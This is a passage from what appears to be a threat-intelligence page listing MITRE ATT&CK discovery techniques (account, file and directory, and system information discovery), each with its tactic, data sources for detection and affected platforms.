Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre